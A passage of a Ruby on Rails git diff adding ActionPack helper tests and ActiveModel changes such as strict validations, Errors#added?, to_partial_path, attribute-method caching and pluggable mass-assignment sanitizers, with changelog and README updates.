test_simple_format_should_sanitize_input_when_sanitize_option_is_not_false @@ -48,6 +48,13 @@ class TextHelperTest < ActionView::TestCase assert_equal "<p><b> test with unsafe string </b><script>code!</script></p>", simple_format("<b> test with unsafe string </b><script>code!</script>", {}, :sanitize => false) end + def test_simple_format_should_not_change_the_text_passed + text = "<b>Ok</b><script>code!</script>" + text_clone = text.dup + simple_format(text) + assert_equal text_clone, text + end + def test_truncate_should_not_be_html_safe assert !truncate("Hello World!", :length => 12).html_safe? end @@ -291,7 +298,7 @@ class TextHelperTest < ActionView::TestCase end def test_cycle_class_with_no_arguments - assert_raise(ArgumentError) { value = Cycle.new() } + assert_raise(ArgumentError) { Cycle.new } end def test_cycle @@ -304,7 +311,7 @@ class TextHelperTest < ActionView::TestCase end def test_cycle_with_no_arguments - assert_raise(ArgumentError) { value = cycle() } + assert_raise(ArgumentError) { cycle } end def test_cycle_resets_with_new_values diff --git a/actionpack/test/template/translation_helper_test.rb b/actionpack/test/template/translation_helper_test.rb index 9b5c6d127c..cd9f54e04c 100644 --- a/actionpack/test/template/translation_helper_test.rb +++ b/actionpack/test/template/translation_helper_test.rb @@ -38,11 +38,19 @@ class TranslationHelperTest < ActiveSupport::TestCase def test_returns_missing_translation_message_wrapped_into_span expected = '<span class="translation_missing" title="translation missing: en.translations.missing">Missing</span>' assert_equal expected, translate(:"translations.missing") + assert_equal true, translate(:"translations.missing").html_safe? end def test_returns_missing_translation_message_using_nil_as_rescue_format expected = 'translation missing: en.translations.missing' assert_equal expected, translate(:"translations.missing", :rescue_format => nil) + assert_equal false, translate(:"translations.missing", :rescue_format => nil).html_safe? + end + + def test_i18n_translate_defaults_to_nil_rescue_format + expected = 'translation missing: en.translations.missing' + assert_equal expected, I18n.translate(:"translations.missing") + assert_equal false, I18n.translate(:"translations.missing").html_safe? end def test_translation_returning_an_array diff --git a/actionpack/test/template/url_helper_test.rb b/actionpack/test/template/url_helper_test.rb index 8d0f0124c2..bc45fabf34 100644 --- a/actionpack/test/template/url_helper_test.rb +++ b/actionpack/test/template/url_helper_test.rb @@ -15,6 +15,7 @@ class UrlHelperTest < ActiveSupport::TestCase routes.draw do match "/" => "foo#bar" match "/other" => "foo#other" + match "/article/:id" => "foo#article", :as => :article end include routes.url_helpers @@ -25,6 +26,8 @@ class UrlHelperTest < ActiveSupport::TestCase include ActionView::Context include RenderERBUtils + setup :_prepare_context + def hash_for(opts = []) ActiveSupport::OrderedHash[*([:controller, "foo", :action, "bar"].concat(opts))] end @@ -85,6 +88,10 @@ class UrlHelperTest < ActiveSupport::TestCase ) end + def test_button_to_with_remote_and_form_options + assert_dom_equal "<form method=\"post\" action=\"http://www.example.com\" class=\"custom-class\" data-remote=\"true\" data-type=\"json\"><div><input type=\"submit\" value=\"Hello\" /></div></form>", button_to("Hello", "http://www.example.com", :remote => true, :form => { :class => "custom-class", "data-type" => "json" } ) + end + def test_button_to_with_remote_and_javascript_confirm assert_dom_equal( "<form method=\"post\" action=\"http://www.example.com\" class=\"button_to\" data-remote=\"true\"><div><input data-confirm=\"Are you sure?\" type=\"submit\" value=\"Hello\" /></div></form>", @@ -242,6 +249,13 @@ class UrlHelperTest < ActiveSupport::TestCase ) end + def test_link_tag_using_post_javascript_and_rel + assert_dom_equal( + "<a href='http://www.example.com' data-method=\"post\" rel=\"example nofollow\">Hello</a>", + link_to("Hello", "http://www.example.com", :method => :post, :rel => 'example') + ) + end + def test_link_tag_using_post_javascript_and_confirm assert_dom_equal( "<a href=\"http://www.example.com\" data-method=\"post\" rel=\"nofollow\" data-confirm=\"Are you serious?\">Hello</a>", @@ -262,6 +276,13 @@ class UrlHelperTest < ActiveSupport::TestCase assert_equal '<a href="/">Example site</a>', out end + def test_link_tag_with_html_safe_string + assert_dom_equal( + "<a href=\"/article/Gerd_M%C3%BCller\">Gerd Müller</a>", + link_to("Gerd Müller", article_path("Gerd_Müller".html_safe)) + ) + end + def test_link_to_unless assert_equal "Showing", link_to_unless(true, "Showing", url_hash) @@ -287,8 +308,8 @@ class UrlHelperTest < ActiveSupport::TestCase assert_equal "Showing", link_to_if(false, "Showing", url_hash) end - def request_for_url(url) - env = Rack::MockRequest.env_for("http://www.example.com#{url}") + def request_for_url(url, opts = {}) + env = Rack::MockRequest.env_for("http://www.example.com#{url}", opts) ActionDispatch::Request.new(env) end @@ -312,6 +333,12 @@ class UrlHelperTest < ActiveSupport::TestCase assert current_page?("http://www.example.com/?order=desc&page=1") end + def test_current_page_with_not_get_verb + @request = request_for_url("/events", :method => :post) + + assert !current_page?('/events') + end + def test_link_unless_current @request = request_for_url("/") @@ -369,13 +396,11 @@ class UrlHelperTest < ActiveSupport::TestCase def test_mail_to_with_javascript snippet = mail_to("me@domain.com", "My email", :encode => "javascript") assert_dom_equal "<script type=\"text/javascript\">eval(decodeURIComponent('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%5c%22%6d%61%69%6c%74%6f%3a%6d%65%40%64%6f%6d%61%69%6e%2e%63%6f%6d%5c%22%3e%4d%79%20%65%6d%61%69%6c%3c%5c%2f%61%3e%27%29%3b'))</script>", snippet - assert snippet.html_safe? end def test_mail_to_with_javascript_unicode snippet = mail_to("unicode@example.com", "únicode", :encode => "javascript") assert_dom_equal "<script type=\"text/javascript\">eval(decodeURIComponent('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%5c%22%6d%61%69%6c%74%6f%3a%75%6e%69%63%6f%64%65%40%65%78%61%6d%70%6c%65%2e%63%6f%6d%5c%22%3e%c3%ba%6e%69%63%6f%64%65%3c%5c%2f%61%3e%27%29%3b'))</script>", snippet - assert snippet.html_safe end def test_mail_with_options @@ -404,6 +429,12 @@ class UrlHelperTest < ActiveSupport::TestCase assert_dom_equal "<script type=\"text/javascript\">eval(decodeURIComponent('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%5c%22%6d%61%69%6c%74%6f%3a%6d%65%40%64%6f%6d%61%69%6e%2e%63%6f%6d%5c%22%3e%6d%65%28%61%74%29%64%6f%6d%61%69%6e%28%64%6f%74%29%63%6f%6d%3c%5c%2f%61%3e%27%29%3b'))</script>", mail_to("me@domain.com", nil, :encode => "javascript", :replace_at => "(at)", :replace_dot => "(dot)") end + def test_mail_to_returns_html_safe_string + assert mail_to("david@loudthinking.com").html_safe? + assert mail_to("me@domain.com", "My email", :encode => "javascript").html_safe? + assert mail_to("me@domain.com", "My email", :encode => "hex").html_safe? + end + # TODO: button_to looks at this ... why? def protect_against_forgery? false diff --git a/activemodel/CHANGELOG b/activemodel/CHANGELOG index be4de2e53c..bf077bef35 100644 --- a/activemodel/CHANGELOG +++ b/activemodel/CHANGELOG @@ -1,4 +1,15 @@ -*Rails 3.1.0 (unreleased)* +* Added ActiveModel::Errors#added? to check if a specific error has been added [Martin Svalin] + +* Add ability to define strict validation(with :strict => true option) that always raises exception when fails [Bogdan Gusiev] + +* Deprecate "Model.model_name.partial_path" in favor of "model.to_partial_path" [Grant Hutchins, Peter Jaros] + +* Provide mass_assignment_sanitizer as an easy API to replace the sanitizer behavior. Also support both :logger (default) and :strict sanitizer behavior [Bogdan Gusiev] + +*Rails 3.1.0 (August 30, 2011)* + +* Alternate I18n namespace lookup is no longer supported. + Instead of "activerecord.models.admins.post", do "activerecord.models.admins/post" instead [José Valim] * attr_accessible and friends now accepts :as as option to specify a role [Josh Kalderimis] diff --git a/activemodel/README.rdoc b/activemodel/README.rdoc index b5b5edd52a..67701bc422 100644 --- a/activemodel/README.rdoc +++ b/activemodel/README.rdoc @@ -182,3 +182,30 @@ modules: p.valid? # => true {Learn more}[link:classes/ActiveModel/Validator.html] + + +== Download and installation + +The latest version of Active Model can be installed with RubyGems: + + % [sudo] gem install activemodel + +Source code can be downloaded as part of the Rails project on GitHub + +* https://github.com/rails/rails/tree/master/activemodel + + +== License + +Active Model is released under the MIT license. + + +== Support + +API documentation is at + +* http://api.rubyonrails.org + +Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here: + +* https://github.com/rails/rails/issues diff --git a/activemodel/Rakefile b/activemodel/Rakefile index 0a10912695..c4b020196d 100755 --- a/activemodel/Rakefile +++ b/activemodel/Rakefile @@ -20,11 +20,11 @@ namespace :test do end require 'rake/packagetask' -require 'rake/gempackagetask' +require 'rubygems/package_task' spec = eval(File.read("#{dir}/activemodel.gemspec")) -Rake::GemPackageTask.new(spec) do |p| +Gem::PackageTask.new(spec) do |p| p.gem_spec = spec end diff --git a/activemodel/activemodel.gemspec b/activemodel/activemodel.gemspec index ce69c4a201..260ad01b65 100644 --- a/activemodel/activemodel.gemspec +++ b/activemodel/activemodel.gemspec @@ -12,13 +12,11 @@ Gem::Specification.new do |s| s.author = 'David Heinemeier Hansson' s.email = 'david@loudthinking.com' s.homepage = 'http://www.rubyonrails.org' - s.rubyforge_project = 'activemodel' s.files = Dir['CHANGELOG', 'MIT-LICENSE', 'README.rdoc', 'lib/**/*'] s.require_path = 'lib' s.add_dependency('activesupport', version) s.add_dependency('builder', '~> 3.0.0') - s.add_dependency('i18n', '~> 0.6.0beta1') - s.add_dependency('bcrypt-ruby', '~> 2.1.4') + s.add_dependency('i18n', '~> 0.6') end diff --git a/activemodel/lib/active_model/attribute_methods.rb b/activemodel/lib/active_model/attribute_methods.rb index 6ee5e04267..ef0b95424e 100644 --- a/activemodel/lib/active_model/attribute_methods.rb +++ b/activemodel/lib/active_model/attribute_methods.rb @@ -1,5 +1,6 @@ require 'active_support/core_ext/hash/keys' require 'active_support/core_ext/class/attribute' +require 'active_support/deprecation' module ActiveModel class MissingAttributeError < NoMethodError @@ -60,7 +61,7 @@ module ActiveModel included do class_attribute :attribute_method_matchers, :instance_writer => false - self.attribute_method_matchers = [] + self.attribute_method_matchers = [ClassMethods::AttributeMethodMatcher.new] end module ClassMethods @@ -92,10 +93,10 @@ module ActiveModel # # Provides you with: # - # AttributePerson.primary_key + # Person.primary_key # # => "sysid" - # AttributePerson.inheritance_column = 'address' - # AttributePerson.inheritance_column + # Person.inheritance_column = 'address' + # Person.inheritance_column # # => 'address_id' def define_attr_method(name, value=nil, &block) sing = singleton_class @@ -284,36 +285,29 @@ module ActiveModel def define_attribute_method(attr_name) attribute_method_matchers.each do |matcher| - unless instance_method_already_implemented?(matcher.method_name(attr_name)) - generate_method = "define_method_#{matcher.prefix}attribute#{matcher.suffix}" + method_name = matcher.method_name(attr_name) + + unless instance_method_already_implemented?(method_name) + generate_method = "define_method_#{matcher.method_missing_target}" if respond_to?(generate_method) send(generate_method, attr_name) else - method_name = matcher.method_name(attr_name) + if method_name =~ COMPILABLE_REGEXP + defn = "def #{method_name}(*args)" + else + defn = "define_method(:'#{method_name}') do |*args|" + end generated_attribute_methods.module_eval <<-RUBY, __FILE__, __LINE__ + 1 - if method_defined?('#{method_name}') - undef :'#{method_name}' + #{defn} + send(:#{matcher.method_missing_target}, '#{attr_name}', *args) end RUBY - - if method_name.to_s =~ COMPILABLE_REGEXP - generated_attribute_methods.module_eval <<-RUBY, __FILE__, __LINE__ + 1 - def #{method_name}(*args) - send(:#{matcher.method_missing_target}, '#{attr_name}', *args) - end - RUBY - else - generated_attribute_methods.module_eval <<-RUBY, __FILE__, __LINE__ + 1 - define_method('#{method_name}') do |*args| - send('#{matcher.method_missing_target}', '#{attr_name}', *args) - end - RUBY - end end end end + attribute_method_matchers_cache.clear end # Removes all the previously dynamically defined methods from the class @@ -321,6 +315,7 @@ module ActiveModel generated_attribute_methods.module_eval do instance_methods.each { |m| undef_method(m) } end + attribute_method_matchers_cache.clear end # Returns true if the attribute methods defined have been generated. @@ -334,17 +329,53 @@ module ActiveModel protected def instance_method_already_implemented?(method_name) - method_defined?(method_name) + generated_attribute_methods.method_defined?(method_name) end private + # The methods +method_missing+ and +respond_to?+ of this module are + # invoked often in a typical rails, both of which invoke the method + # +match_attribute_method?+. The latter method iterates through an + # array doing regular expression matches, which results in a lot of + # object creations. Most of the times it returns a +nil+ match. As the + # match result is always the same given a +method_name+, this cache is + # used to alleviate the GC, which ultimately also speeds up the app + # significantly (in our case our test suite finishes 10% faster with + # this cache). + def attribute_method_matchers_cache + @attribute_method_matchers_cache ||= {} + end + + def attribute_method_matcher(method_name) + if attribute_method_matchers_cache.key?(method_name) + attribute_method_matchers_cache[method_name] + else + # Must try to match prefixes/suffixes first, or else the matcher with no prefix/suffix + # will match every time. + matchers = attribute_method_matchers.partition(&:plain?).reverse.flatten(1) + match = nil + matchers.detect { |method| match = method.match(method_name) } + attribute_method_matchers_cache[method_name] = match + end + end + class AttributeMethodMatcher attr_reader :prefix, :suffix, :method_missing_target - AttributeMethodMatch = Struct.new(:target, :attr_name) + AttributeMethodMatch = Struct.new(:target, :attr_name, :method_name) def initialize(options = {}) options.symbolize_keys! + + if options[:prefix] == '' || options[:suffix] == '' + ActiveSupport::Deprecation.warn( + "Specifying an empty prefix/suffix for an attribute method is no longer " \ + "necessary. If the un-prefixed/suffixed version of the method has not been " \ + "defined when `define_attribute_methods` is called, it will be defined " \ + "automatically." + ) + end + @prefix, @suffix = options[:prefix] || '', options[:suffix] || '' @regex = /^(#{Regexp.escape(@prefix)})(.+?)(#{Regexp.escape(@suffix)})$/ @method_missing_target = "#{@prefix}attribute#{@suffix}" @@ -353,7 +384,7 @@ module ActiveModel def match(method_name) if @regex =~ method_name - AttributeMethodMatch.new(method_missing_target, $2) + AttributeMethodMatch.new(method_missing_target, $2, method_name) else nil end @@ -362,6 +393,10 @@ module ActiveModel def method_name(attr_name) @method_name % attr_name end + + def plain? + prefix.empty? && suffix.empty? + end end end @@ -376,13 +411,21 @@ module ActiveModel # It's also possible to instantiate related objects, so a Client class # belonging to the clients table with a +master_id+ foreign key can # instantiate master through Client#master. - def method_missing(method_id, *args, &block) - method_name = method_id.to_s - if match = match_attribute_method?(method_name) - guard_private_attribute_method!(method_name, args) - return __send__(match.target, match.attr_name, *args, &block) + def method_missing(method, *args, &block) + if respond_to_without_attributes?(method, true) + super + else + match = match_attribute_method?(method.to_s) + match ? attribute_missing(match, *args, &block) : super end - super + end + + # attribute_missing is like method_missing, but for attributes. When method_missing is + # called we check to see if there is a matching attribute method. If so, we call + # attribute_missing to dispatch the attribute. This method can be overloaded to + # customise the behaviour. + def attribute_missing(match, *args, &block) + __send__(match.target, match.attr_name, *args, &block) end # A Person object with a name attribute can ask <tt>person.respond_to?(:name)</tt>, @@ -391,15 +434,14 @@ module ActiveModel alias :respond_to_without_attributes? :respond_to? def respond_to?(method, include_private_methods = false) if super - return true + true elsif !include_private_methods && super(method, true) # If we're here then we haven't found among non-private methods # but found among all methods. Which means that the given method is private. - return false - elsif match_attribute_method?(method.to_s) - return true + false + else + !match_attribute_method?(method.to_s).nil? end - super end protected @@ -411,19 +453,8 @@ module ActiveModel # Returns a struct representing the matching attribute method. # The struct's attributes are prefix, base and suffix. def match_attribute_method?(method_name) - self.class.attribute_method_matchers.each do |method| - if (match = method.match(method_name)) && attribute_method?(match.attr_name) - return match - end - end - nil - end - - # prevent method_missing from calling private methods with #send - def guard_private_attribute_method!(method_name, args) - if self.class.private_method_defined?(method_name) - raise NoMethodError.new("Attempt to call private method `#{method_name}'", method_name, args) - end + match = self.class.send(:attribute_method_matcher, method_name) + match && attribute_method?(match.attr_name) ? match : nil end def missing_attribute(attr_name, stack) diff --git a/activemodel/lib/active_model/callbacks.rb b/activemodel/lib/active_model/callbacks.rb index 2a1f51a9a7..37d0c9a0b9 100644 --- a/activemodel/lib/active_model/callbacks.rb +++ b/activemodel/lib/active_model/callbacks.rb @@ -59,7 +59,7 @@ module ActiveModel # define_model_callbacks :initializer, :only => :after # # Note, the <tt>:only => <type></tt> hash will apply to all callbacks defined on - # that method call. To get around this you can call the define_model_callbacks + # that method call. To get around this you can call the define_model_callbacks # method as many times as you need. # # define_model_callbacks :create, :only => :after diff --git a/activemodel/lib/active_model/conversion.rb b/activemodel/lib/active_model/conversion.rb index 1405b1bfe3..80a3ba51c3 100644 --- a/activemodel/lib/active_model/conversion.rb +++ b/activemodel/lib/active_model/conversion.rb @@ -1,9 +1,12 @@ +require 'active_support/concern' +require 'active_support/inflector' + module ActiveModel # == Active Model Conversions # - # Handles default conversions: to_model, to_key and to_param. + # Handles default conversions: to_model, to_key, to_param, and to_partial_path. # - # Let's take for example this non persisted object. + # Let's take for example this non-persisted object. # # class ContactMessage # include ActiveModel::Conversion @@ -18,8 +21,11 @@ module ActiveModel # cm.to_model == self # => true # cm.to_key # => nil # cm.to_param # => nil + # cm.to_path # => "contact_messages/contact_message" # module Conversion + extend ActiveSupport::Concern + # If your object is already designed to implement all of the Active Model # you can use the default <tt>:to_model</tt> implementation, which simply # returns self. @@ -45,5 +51,23 @@ module ActiveModel def to_param persisted? ? to_key.join('-') : nil end + + # Returns a string identifying the path associated with the object. + # ActionPack uses this to find a suitable partial to represent the object. + def to_partial_path + self.class._to_partial_path + end + + module ClassMethods #:nodoc: + # Provide a class level cache for the to_path. This is an + # internal method and should not be accessed directly. + def _to_partial_path #:nodoc: + @_to_partial_path ||= begin + element = ActiveSupport::Inflector.underscore(ActiveSupport::Inflector.demodulize(self)) + collection = ActiveSupport::Inflector.tableize(self) + "#{collection}/#{element}".freeze + end + end + end end end diff --git a/activemodel/lib/active_model/dirty.rb b/activemodel/lib/active_model/dirty.rb index 3b412d3dd7..166cccf161 100644 --- a/activemodel/lib/active_model/dirty.rb +++ b/activemodel/lib/active_model/dirty.rb @@ -156,7 +156,7 @@ module ActiveModel rescue TypeError, NoMethodError end - changed_attributes[attr] = value + changed_attributes[attr] = value unless changed_attributes.include?(attr) end # Handle <tt>reset_*!</tt> for +method_missing+. diff --git a/activemodel/lib/active_model/errors.rb b/activemodel/lib/active_model/errors.rb index 22ca3efa2b..8337b04c0d 100644 --- a/activemodel/lib/active_model/errors.rb +++ b/activemodel/lib/active_model/errors.rb @@ -49,8 +49,8 @@ module ActiveModel # # The last three methods are required in your object for Errors to be # able to generate error messages correctly and also handle multiple - # languages. Of course, if you extend your object with ActiveModel::Translations - # you will not need to implement the last two. Likewise, using + # languages. Of course, if you extend your object with ActiveModel::Translation + # you will not need to implement the last two. Likewise, using # ActiveModel::Validations will handle the validation related methods # for you. # @@ -63,7 +63,7 @@ module ActiveModel class Errors include Enumerable - CALLBACKS_OPTIONS = [:if, :unless, :on, :allow_nil, :allow_blank] + CALLBACKS_OPTIONS = [:if, :unless, :on, :allow_nil, :allow_blank, :strict] attr_reader :messages @@ -86,8 +86,9 @@ module ActiveModel # Do the error messages include an error with key +error+? def include?(error) - messages.include? error + (v = messages[error]) && v.any? end + alias :has_key? :include? # Get messages for +key+ def get(key) @@ -117,7 +118,7 @@ module ActiveModel end # Iterates through each error key, value pair in the error messages hash. - # Yields the attribute and the error for that attribute. If the attribute + # Yields the attribute and the error for that attribute. If the attribute # has more than one error message, yields once for each error message. # # p.errors.add(:name, "can't be blank") @@ -174,11 +175,12 @@ module ActiveModel to_a.size end - # Returns true if there are any errors, false if not. + # Returns true if no errors are found, false otherwise. def empty? all? { |k, v| v && v.empty? } end alias_method :blank?, :empty? + # Returns an xml formatted representation of the Errors hash. # # p.errors.add(:name, "can't be blank") @@ -203,20 +205,16 @@ module ActiveModel messages.dup end - # Adds +message+ to the error messages on +attribute+, which will be returned on a call to - # <tt>on(attribute)</tt> for the same attribute. More than one error can be added to the same - # +attribute+ in which case an array will be returned on a call to <tt>on(attribute)</tt>. + # Adds +message+ to the error messages on +attribute+. More than one error can be added to the same + # +attribute+. # If no +message+ is supplied, <tt>:invalid</tt> is assumed. # # If +message+ is a symbol, it will be translated using the appropriate scope (see +translate_error+). # If +message+ is a proc, it will be called, allowing for things like <tt>Time.now</tt> to be used within an error. def add(attribute, message = nil, options = {}) - message ||= :invalid - - if message.is_a?(Symbol) - message = generate_message(attribute, message, options.except(*CALLBACKS_OPTIONS)) - elsif message.is_a?(Proc) - message = message.call + message = normalize_message(attribute, message, options) + if options[:strict] + raise ActiveModel::StrictValidationFailed, message end self[attribute] << message @@ -239,6 +237,15 @@ module ActiveModel end end + # Returns true if an error on the attribute with the given message is present, false otherwise. + # +message+ is treated the same as for +add+. + # p.errors.add :name, :blank + # p.errors.added? :name, :blank # => true + def added?(attribute, message = nil, options = {}) + message = normalize_message(attribute, message, options) + self[attribute].include? message + end + # Returns all the full error messages in an array. # # class Company @@ -248,22 +255,24 @@ module ActiveModel # # company = Company.create(:address => '123 First St.') # company.errors.full_messages # => - # ["Name is too short (minimum is 5 characters)", "Name can't be blank", "Address can't be blank"] + # ["Name is too short (minimum is 5 characters)", "Name can't be blank", "Email can't be blank"] def full_messages - map { |attribute, message| - if attribute == :base - message - else - attr_name = attribute.to_s.gsub('.', '_').humanize - attr_name = @base.class.human_attribute_name(attribute, :default => attr_name) - - I18n.t(:"errors.format", { - :default => "%{attribute} %{message}", - :attribute => attr_name, - :message => message - }) - end - } + map { |attribute, message| full_message(attribute, message) } + end + + # Returns a full message for a given attribute. + # + # company.errors.full_message(:name, "is invalid") # => + # "Name is invalid" + def full_message(attribute, message) + return message if attribute == :base + attr_name = attribute.to_s.gsub('.', '_').humanize + attr_name = @base.class.human_attribute_name(attribute, :default => attr_name) + I18n.t(:"errors.format", { + :default => "%{attribute} %{message}", + :attribute => attr_name, + :message => message + }) end # Translates an error message in its default scope @@ -293,13 +302,17 @@ module ActiveModel def generate_message(attribute, type = :invalid, options = {}) type = options.delete(:message) if options[:message].is_a?(Symbol) - defaults = @base.class.lookup_ancestors.map do |klass| - [ :"#{@base.class.i18n_scope}.errors.models.#{klass.model_name.i18n_key}.attributes.#{attribute}.#{type}", - :"#{@base.class.i18n_scope}.errors.models.#{klass.model_name.i18n_key}.#{type}" ] + if @base.class.respond_to?(:i18n_scope) + defaults = @base.class.lookup_ancestors.map do |klass| + [ :"#{@base.class.i18n_scope}.errors.models.#{klass.model_name.i18n_key}.attributes.#{attribute}.#{type}", + :"#{@base.class.i18n_scope}.errors.models.#{klass.model_name.i18n_key}.#{type}" ] + end + else + defaults = [] end defaults << options.delete(:message) - defaults << :"#{@base.class.i18n_scope}.errors.messages.#{type}" + defaults << :"#{@base.class.i18n_scope}.errors.messages.#{type}" if @base.class.respond_to?(:i18n_scope) defaults << :"errors.attributes.#{attribute}.#{type}" defaults << :"errors.messages.#{type}" @@ -318,5 +331,21 @@ module ActiveModel I18n.translate(key, options) end + + private + def normalize_message(attribute, message, options) + message ||= :invalid + + if message.is_a?(Symbol) + generate_message(attribute, message, options.except(*CALLBACKS_OPTIONS)) + elsif message.is_a?(Proc) + message.call + else + message + end + end + end + + class StrictValidationFailed < StandardError end end diff --git a/activemodel/lib/active_model/lint.rb b/activemodel/lib/active_model/lint.rb index b71ef4b22e..bfe7ea1869 100644 --- a/activemodel/lib/active_model/lint.rb +++ b/activemodel/lib/active_model/lint.rb @@ -43,6 +43,16 @@ module ActiveModel assert model.to_param.nil?, "to_param should return nil when `persisted?` returns false" end + # == Responds to <tt>to_partial_path</tt> + # + # Returns a string giving a relative path. This is used for looking up + # partials. For example, a BlogPost model might return "blog_posts/blog_post" + # + def test_to_partial_path + assert model.respond_to?(:to_partial_path), "The model should respond to to_partial_path" + assert_kind_of String, model.to_partial_path + end + # == Responds to <tt>valid?</tt> # # Returns a boolean that specifies whether the object is in a valid or invalid @@ -66,15 +76,14 @@ module ActiveModel # == Naming # - # Model.model_name must return a string with some convenience methods as - # :human and :partial_path. Check ActiveModel::Naming for more information. + # Model.model_name must return a string with some convenience methods: + # :human, :singular, and :plural. Check ActiveModel::Naming for more information. # def test_model_naming assert model.class.respond_to?(:model_name), "The model should respond to model_name" model_name = model.class.model_name assert_kind_of String, model_name assert_kind_of String, model_name.human - assert_kind_of String, model_name.partial_path assert_kind_of String, model_name.singular assert_kind_of String, model_name.plural end diff --git a/activemodel/lib/active_model/mass_assignment_security.rb b/activemodel/lib/active_model/mass_assignment_security.rb index 483b577681..3f9feb7631 100644 --- a/activemodel/lib/active_model/mass_assignment_security.rb +++ b/activemodel/lib/active_model/mass_assignment_security.rb @@ -1,5 +1,8 @@ -require 'active_support/core_ext/class/attribute.rb' +require 'active_support/core_ext/class/attribute' +require 'active_support/core_ext/string/inflections' +require 'active_support/core_ext/array/wrap' require 'active_model/mass_assignment_security/permission_set' +require 'active_model/mass_assignment_security/sanitizer' module ActiveModel # = Active Model Mass-Assignment Security @@ -10,6 +13,9 @@ module ActiveModel class_attribute :_accessible_attributes class_attribute :_protected_attributes class_attribute :_active_authorizer + + class_attribute :_mass_assignment_sanitizer + self.mass_assignment_sanitizer = :logger end # Mass assignment security provides an interface for protecting attributes @@ -41,6 +47,16 @@ module ActiveModel # # end # + # = Configuration options + # + # * <tt>mass_assignment_sanitizer</tt> - Defines sanitize method. Possible values are: + # * <tt>:logger</tt> (default) - writes filtered attributes to logger + # * <tt>:strict</tt> - raise <tt>ActiveModel::MassAssignmentSecurity::Error</tt> on any protected attribute update + # + # You can specify your own sanitizer object eg. MySanitizer.new. + # See <tt>ActiveModel::MassAssignmentSecurity::LoggerSanitizer</tt> for example implementation. + # + # module ClassMethods # Attributes named in this macro are protected from mass-assignment # whenever attributes are sanitized before assignment. A role for the @@ -95,8 +111,11 @@ module ActiveModel options = args.extract_options! role = options[:as] || :default - self._protected_attributes = protected_attributes_configs.dup - self._protected_attributes[role] = self.protected_attributes(role) + args + self._protected_attributes = protected_attributes_configs.dup + + Array.wrap(role).each do |name| + self._protected_attributes[name] = self.protected_attributes(name) + args + end self._active_authorizer = self._protected_attributes end @@ -154,8 +173,11 @@ module ActiveModel options = args.extract_options! role = options[:as] || :default - self._accessible_attributes = accessible_attributes_configs.dup - self._accessible_attributes[role] = self.accessible_attributes(role) + args + self._accessible_attributes = accessible_attributes_configs.dup + + Array.wrap(role).each do |name| + self._accessible_attributes[name] = self.accessible_attributes(name) + args + end self._active_authorizer = self._accessible_attributes end @@ -177,21 +199,25 @@ module ActiveModel [] end + def mass_assignment_sanitizer=(value) + self._mass_assignment_sanitizer = if value.is_a?(Symbol) + const_get(:"#{value.to_s.camelize}Sanitizer").new(self) + else + value + end + end + private def protected_attributes_configs self._protected_attributes ||= begin - default_black_list = BlackList.new(attributes_protected_by_default).tap do |w| - w.logger = self.logger if self.respond_to?(:logger) - end - Hash.new(default_black_list) + Hash.new { |h,k| h[k] = BlackList.new(attributes_protected_by_default) } end end def accessible_attributes_configs self._accessible_attributes ||= begin - default_white_list = WhiteList.new.tap { |w| w.logger = self.logger if self.respond_to?(:logger) } - Hash.new(default_white_list) + Hash.new { |h,k| h[k] = WhiteList.new } end end end @@ -199,7 +225,7 @@ module ActiveModel protected def sanitize_for_mass_assignment(attributes, role = :default) - mass_assignment_authorizer(role).sanitize(attributes) + _mass_assignment_sanitizer.sanitize(attributes, mass_assignment_authorizer(role)) end def mass_assignment_authorizer(role = :default) diff --git a/activemodel/lib/active_model/mass_assignment_security/permission_set.rb b/activemodel/lib/active_model/mass_assignment_security/permission_set.rb index 9fcb94d48a..a1fcdf1a38 100644 --- a/activemodel/lib/active_model/mass_assignment_security/permission_set.rb +++ b/activemodel/lib/active_model/mass_assignment_security/permission_set.rb @@ -1,10 +1,8 @@ require 'set' -require 'active_model/mass_assignment_security/sanitizer' module ActiveModel module MassAssignmentSecurity class PermissionSet < Set - attr_accessor :logger def +(values) super(values.map(&:to_s)) @@ -14,6 +12,10 @@ module ActiveModel super(remove_multiparameter_id(key)) end + def deny?(key) + raise NotImplementedError, "#deny?(key) suppose to be overwritten" + end + protected def remove_multiparameter_id(key) @@ -22,7 +24,6 @@ module ActiveModel end class WhiteList < PermissionSet - include Sanitizer def deny?(key) !include?(key) @@ -30,7 +31,6 @@ module ActiveModel end class BlackList < PermissionSet - include Sanitizer def deny?(key) include?(key) diff --git a/activemodel/lib/active_model/mass_assignment_security/sanitizer.rb b/activemodel/lib/active_model/mass_assignment_security/sanitizer.rb index 150beb1ff2..bbdddfb50d 100644 --- a/activemodel/lib/active_model/mass_assignment_security/sanitizer.rb +++ b/activemodel/lib/active_model/mass_assignment_security/sanitizer.rb @@ -1,9 +1,14 @@ +require 'active_support/core_ext/module/delegation' + module ActiveModel module MassAssignmentSecurity - module Sanitizer + class Sanitizer + def initialize(target=nil) + end + # Returns all attributes not denied by the authorizer. - def sanitize(attributes) - sanitized_attributes = attributes.reject { |key, value| deny?(key) } + def sanitize(attributes, authorizer) + sanitized_attributes = attributes.reject { |key, value| authorizer.deny?(key) } debug_protected_attribute_removal(attributes, sanitized_attributes) sanitized_attributes end @@ -12,12 +17,43 @@ module ActiveModel def debug_protected_attribute_removal(attributes, sanitized_attributes) removed_keys = attributes.keys - sanitized_attributes.keys - warn!(removed_keys) if removed_keys.any? + process_removed_attributes(removed_keys) if removed_keys.any? + end + + def process_removed_attributes(attrs) + raise NotImplementedError, "#process_removed_attributes(attrs) suppose to be overwritten" + end + end + + class LoggerSanitizer < Sanitizer + delegate :logger, :to => :@target + + def initialize(target) + @target = target + super end - def warn!(attrs) - self.logger.debug "WARNING: Can't mass-assign protected attributes: #{attrs.join(', ')}" if self.logger + def logger? + @target.respond_to?(:logger) && @target.logger end + + def process_removed_attributes(attrs) + logger.debug "WARNING: Can't mass-assign protected attributes: #{attrs.join(', ')}" if logger? + end + end + + class StrictSanitizer < Sanitizer + def process_removed_attributes(attrs) + return if (attrs - insensitive_attributes).empty? + raise ActiveModel::MassAssignmentSecurity::Error, "Can't mass-assign protected attributes: #{attrs.join(', ')}" + end + + def insensitive_attributes + ['id'] + end + end + + class Error < StandardError end end end diff --git a/activemodel/lib/active_model/naming.rb 